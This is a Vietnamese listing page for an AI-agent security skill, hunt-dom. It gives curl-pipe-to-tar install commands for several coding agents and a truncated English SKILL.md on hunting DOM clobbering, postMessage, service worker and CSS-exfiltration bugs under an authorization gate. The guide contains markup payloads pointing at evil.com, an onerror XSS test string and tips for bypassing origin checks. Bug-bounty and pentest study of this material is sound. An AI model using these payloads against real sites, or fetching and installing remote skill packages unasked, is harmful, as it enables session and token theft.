hunt-dom – skill Bảo mật cho agent AI
Tìm lỗ hổng DOM phía client
Cài skill hunt-dom bằng một lệnh
Chọn công cụ bạn đang dùng, copy lệnh và dán vào terminal. Skill sẽ nằm trong thư mục skills của công cụ đó và sẵn sàng dùng ở phiên làm việc tiếp theo.
Claude Code
mkdir -p ~/.claude/skills && curl -fsSL https://skill.dn1nguoi.com/z/hunt-dom-adb3a.tgz | tar xz -C ~/.claude/skills
Gọi trong Claude Code: /hunt-dom – rồi mô tả công việc bạn muốn làm.
Codex
mkdir -p ~/.codex/skills && curl -fsSL https://skill.dn1nguoi.com/z/hunt-dom-adb3a.tgz | tar xz -C ~/.codex/skills
Gọi trong Codex: $hunt-dom – rồi mô tả công việc bạn muốn làm.
Hermes Agent
mkdir -p ~/.hermes/skills && curl -fsSL https://skill.dn1nguoi.com/z/hunt-dom-adb3a.tgz | tar xz -C ~/.hermes/skills
Gọi trong Hermes Agent: /hunt-dom – rồi mô tả công việc bạn muốn làm.
DeepSeek
mkdir -p ~/.deepcode/skills && curl -fsSL https://skill.dn1nguoi.com/z/hunt-dom-adb3a.tgz | tar xz -C ~/.deepcode/skills
Gọi trong DeepSeek: /hunt-dom – rồi mô tả công việc bạn muốn làm.
Nội dung SKILL.md
Nội dung SKILL.md gốc bằng tiếng Anh.
> ⚠️ AUTHORIZED USE ONLY
> This skill is for educational purposes or authorized security assessments only.
> You must have explicit, written permission from the system owner before using this tool.
> Misuse of this tool is illegal and strictly prohibited.
> Mandatory confirmation gate
> Before running any command that probes, exploits, changes, persists on, extracts data from, or attempts credential access against a target:
> 1. Ask the user to state the exact target URL, IP, account, or resource.
> 2. Ask the user to confirm written authorization and the permitted scope.
> 3. Show the exact command(s) and explain their expected effect.
> 4. Wait for explicit confirmation in the current conversation.
>
> Without that confirmation, remain read-only and provide defensive guidance only. Prefer a sandbox, disposable VM, or controlled lab.
HUNT-DOM — DOM Clobbering / PostMessage / Service Worker / CSS Exfil
Crown Jewel Targets
DOM-based attacks execute in the victim's browser — some sources never reach the server, while others do; assess the actual data path rather than assuming WAF/input filters are irrelevant. PostMessage missing-origin-check = cross-origin token theft with no XSS needed.
Highest-value chains:
- DOM Clobbering → DOM-XSS / auth bypass — HTML *markup* injection (no
<script>) overwrites a JS global likewindow.configor a form named property, and the app later treats that value as a URL/code → sink fires under a markup-only injection where script is filtered. - PostMessage no origin check → session theft / DOM-XSS — a
messagehandler that trustsevent.datawithout validatingevent.originlets an attacker iframe/opener drive privileged actions or feed a sink. - Service Worker abuse — register a same-origin SW script (reachable because of an authorized same-origin JavaScript upload/path) via stored XSS → intercept all in-scope
fetch→ persistent credential capture. - CSS Exfil — attribute-value selectors (
input[value^="a"]) leak a CSRF token / API key / nonce char-by-char to an OOB host with zero JS.
Grounding — public research this is distilled from
- DOM Clobbering / DOM-Invader — Gareth Heyes & the PortSwigger Web Security Academy "DOM clobbering" topic; DOM-Invader ships a dedicated clobbering scanner. Sink taxonomy maps to the academy's DOM-based vulnerability labs.
- DOMPurify clobbering & mXSS bypasses — Michał Bentkowski (Securitum) blog series on bypassing HTML sanitizers via clobbering and mutation XSS.
- jQuery
htmlPrefilterself-closing-tag XSS — CVE-2020-11022 and CVE-2020-11023 (jQuery < 3.5.0). Passing attacker HTML to.html()/.append()mutates into executing markup. Grep bundled jQuery version; this is one of the most common real-world DOM-XSS roots. - CSS exfiltration — d0nut "CSS Injection Attacks" / "Stealing Data With CSS" research (sequential
@importrecursion to drop the per-char-position constraint).
> Cite only what you reproduce. Do not paste these as "proof" in a report — your PoC against the live target is the evidence. Named research here is for *technique provenance*, not severity inflation.
---
Attack Surface Signals
# Injection points that allow MARKUP but may strip <script>:
user bio / display name / comment / markdown preview / SVG upload / CMS rich-text
# postMessage endpoints (iframes, SSO widgets, payment frames, chat widgets):
*/sso/* */embed/* */widget/* */oauth/* /sdk.js pay/checkout iframes
# Service worker presence:
/sw.js /service-worker.js /firebase-messaging-sw.js /ngsw-worker.js (Angular)
# CSS injection points:
?theme= custom-css profile field email-template editor style= passthrough---
Phase 1 — DOM Clobbering
# Signal: app reads element IDs/names as if they were JS objects, OR feeds a
# clobberable global into a sink (location, innerHTML, eval, script.src).
# Inject MARKUP (no script) at a sink that lets named/id'd elements through.
# Single-level clobber of window.config:
# <a id="config" href="https://evil.com">
# Clobber a NON-built-in global the app reads (built-in methods like getElementById can't be shadowed this way):
# <a id="config"></a><a id="config" name="url"> # window.config.url resolves to an attacker-controlled element/string
# Clobber a string-coerced URL value (anchor toString() == href):
# <a id="x"></a><a id="x" name="y" href="https://evil.com"> # x.y -> href
# Nested window.a.b.c via form/inputs:
# <form id="a"><input id="b" name="c" value="clobbered"></form>
# baseURI / relative-URL hijack:
# <base href="https://evil.com/"> # bends every relative src/href// Browser console: find globals that are clobberable AND reach a sink.
// A var only matters if the app later concatenates it into a URL/HTML/eval.
const susp = ['config','settings','options','appConfig','init','data','user',
'token','csrf','nonce','baseUrl','apiUrl','cdn','redirect','next','debug'];
susp.forEach(k => {
const v = window[k];
// HTMLCollection / element => already clobbered or clobberable namespace
if (v && (v instanceof Element || v instanceof HTMLCollection))
console.log('[CLOBBERED/NAMESPACE]', k, v);
else if (v !== undefined) console.log('[GLOBAL TYPE]', k, typeof v);
});# Source review: find globals fed into sinks (this is what makes clobbering exploitable)
curl -s "https://$TARGET/" | grep -nE \
"document\.(getElementById|baseURI)|window\.[A-Za-z_]+\.(url|src|href|html|cmd)|\
location\s*=\s*[A-Za-z_]|\.innerHTML\s*=|eval\(|new Function\(|\.src\s*=\s*[A-Za-z_]"
# DOM-Invader (Burp) → enable "DOM clobbering" — it auto-finds clobberable sources→sinks.jQuery angle: if the bundle ships jQuery < 3.5.0, attacker HTML passed to .html()/.append() self-mutates to execute (CVE-2020-11022 / CVE-2020-11023). Confirm version then test <style><style /><img src=x onerror=alert(document.domain)>.
---
Phase 2 — PostMessage Hijacking
Two bug classes: (a) listener trusts cross-origin data → drive a sink/privileged action; (b) sender broadcasts secrets with target origin '*' → any framing page reads them.
# Find handlers and flag the ones with NO origin check
grep -rnE "addEventListener\(\s*['\"]message['\"]|onmessage\s*=" recon/$TARGET/ --include="*.js" 2>/dev/null \
| grep -vE "\.origin\b"
# Then for each, read +/- 20 lines: where does event.data go? (innerHTML/eval/location/token store)
# Senders that leak: grep for postMessage(<secret>, '*')
grep -rnE "postMessage\([^,]+,\s*['\"]\*['\"]\)" recon/$TARGET/ --include="*.js" 2>/dev/null<!-- Controlled lab with a test account and approved target origin. -->
<iframe id="f" src="https://target.example/test-listener"></iframe>
<script>
const frame = document.getElementById('f');
frame.addEventListener('load', () => {
frame.contentWindow.postMessage({type: 'test-canary', value: 'DOM-REVIEW-042'},
'https://target.example');
}, {once: true});
addEventListener('message', event => {
if (event.origin !== 'https://target.example' || event.source !== frame.contentWindow) return;
console.log('Controlled message received:', typeof event.data); // No secret dump.
});
</script>This canary alone is not a finding. Trace the actual authorized handler and sink,
then use a harmless marker matched to its schema. Prove impact with controlled
accounts; never send cookies, complete DOM, bearer tokens or messages to a third
party OOB service merely to demonstrate receipt.
> False-positive guard: a handler with a *partial* check (origin.indexOf('target.com')>-1, endsWith('target.com'), regex target\.com) is still vulnerable — bypass with target.com.evil.com or eviltarget.com. Confirm by serving the PoC from such a look-alike host and showing the message still lands.
---
PostMessage initialization assumptions
Browser-dispatched postMessage has its sender origin initialized when the event
is created; it does not later become trustworthy during frame loading. An opaque
origin can serialize as "null"; never treat it as an allowed trusted origin.
Test first-message trust only with a bounded synthetic canary and explicit scope,
not a tight message flood. Validate exact origin, expected event.source and a
bounded message schema together. [HTML messaging standard](https://html.spec.whatwg.org/multipage/web-messaging.html).
Phase 3 — Service Worker Abuse
Hard rule (corrects a common mistake): a SW script URL must be same-origin as the page calling register(). A cross-origin script URL (https://evil.com/sw.js) throws SecurityError — there is **no header that enables cross-origin SW *script* registration. Service-Worker-Allowed only widens the scope** a same-origin script may control, not where the script may live.
So the realistic path is: get a SW script onto the target origin (approved file upload that directly serves Java
… (nội dung đầy đủ có trong gói tải về)
Skill liên quan
- hunt-fintech-graphql – Tìm lỗ hổng GraphQL đặc thù cho fintech
- hunt-graphql – Kỹ năng tìm lỗ hổng GraphQL.
- hunt-grpc – Tìm lỗ hổng gRPC
- hunt-idor – Kỹ năng săn lỗ hổng IDOR. Được xây dựng từ 26 báo cáo bug bounty công khai. Dùng khi săn…
- hunt-laravel – Tìm lỗ hổng đặc thù của Laravel
- hunt-misc – Skill săn các lỗ hổng linh tinh (misc). Tham khảo cho việc rà soát vai trò được ủy…
- hunt-nextjs – Săn các lỗ hổng đặc thù của Next.js
- hunt-nodejs – Săn các lỗ hổng đặc thù của Node.js